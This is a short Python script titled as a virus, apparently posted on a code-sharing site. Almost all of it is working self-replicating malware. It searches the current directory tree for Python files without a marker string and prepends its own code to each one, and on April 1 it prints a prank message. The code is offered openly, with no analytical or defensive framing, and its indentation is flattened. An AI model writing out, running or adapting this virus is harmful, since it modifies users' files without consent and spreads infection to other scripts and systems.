Python -Virus
#!/usr/bin/python
import os, datetime, inspect
DATA_TO_INSERT = "GEEKSFORGEEKS"
#search for target files in path
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for filename in filelist:
#If it is a folder
if os.path.isdir(path+"/"+filename):
filestoinfect.extend(search(path+"/"+filename))
#If it is a python script -> Infect it
elif filename[-3:] == ".py":
#default value
infected = False
for line in open(path+"/"+filename):
if DATA_TO_INSERT in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+filename)
return filestoinfect
#changes to be made in the target file
def infect(filestoinfect):
target_file = inspect.currentframe().f_code.co_filename
virus = open(os.path.abspath(target_file))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <41:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
#Not required actually
def explode():
if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1:
print ("HAPPY APRIL FOOL'S DAY!!")
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
explode()
TheCoder1001